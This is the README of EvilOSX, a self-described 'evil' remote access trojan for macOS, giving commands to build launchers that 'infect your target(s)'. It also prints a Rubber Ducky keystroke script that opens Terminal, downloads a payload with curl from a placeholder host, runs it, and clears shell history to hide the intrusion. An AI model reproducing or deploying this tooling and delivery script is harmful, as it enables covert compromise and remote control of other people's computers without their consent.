Home

Awesome

<h1 align="center"> <br> <a href="https://github.com/Marten4n6/EvilOSX"><img src="/data/images/logo.png?raw=true" alt="Logo" width="280"></a> <br> EvilOSX <br> </h1> <h4 align="center">An evil RAT (Remote Administration Tool) for macOS / OS X.</h4> <p align="center"> <a href="https://github.com/Marten4n6/EvilOSX/blob/master/LICENSE.txt"> <img src="https://img.shields.io/badge/license-GPLv3-blue.svg?style=flat-square" alt="License"> </a> <a href="https://github.com/Marten4n6/EvilOSX/blob/master/LICENSE.txt"> <img src="https://img.shields.io/badge/python-2.7,%203.7-blue.svg?style=flat-square" alt="Python"> </a> <a href="https://github.com/Marten4n6/EvilOSX/issues"> <img src="https://img.shields.io/github/issues/Marten4n6/EvilOSX.svg?style=flat-square" alt="Issues"> </a> <a href="https://travis-ci.org/Marten4n6/EvilOSX"> <img src="https://img.shields.io/travis/Marten4n6/EvilOSX/master.svg?style=flat-square" alt="Build Status"> </a> <a href="https://github.com/Marten4n6/EvilOSX/blob/master/CONTRIBUTING.md"> <img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat-square" alt="Contributing"> </a> </p>

Marco Generator by Cedric Owens

This project is no longer active

Features

How To Use

# Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX

# Go into the repository
$ cd EvilOSX

# Install dependencies required by the server
$ sudo pip install -r requirements.txt

# Start the GUI
$ python start.py

# Lastly, run a built launcher on your target(s)

Warning: Because payloads are created unique to the target system (automatically by the server), the server must be running when any bot connects for the first time.

Advanced users

There's also a CLI for those who want to use this over SSH:

# Create a launcher to infect your target(s)
$ python start.py --builder

# Start the CLI
$ python start.py --cli --port 1337

# Lastly, run a built launcher on your target(s)

Screenshots

CLI GUI

Motivation

This project was created to be used with my Rubber Ducky, here's the simple script:

REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/

DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500

REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER

STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER

Versioning

EvilOSX will be maintained under the Semantic Versioning guidelines as much as possible. <br/> Server and bot releases will be numbered with the follow format:

<major>.<minor>.<patch>

And constructed with the following guidelines:

For more information on SemVer, please visit https://semver.org/.

Design Notes

Issues

Feel free to submit any issues or feature requests here.

Contributing

For a simple guide on how to create modules click here.

Credits

License

GPLv3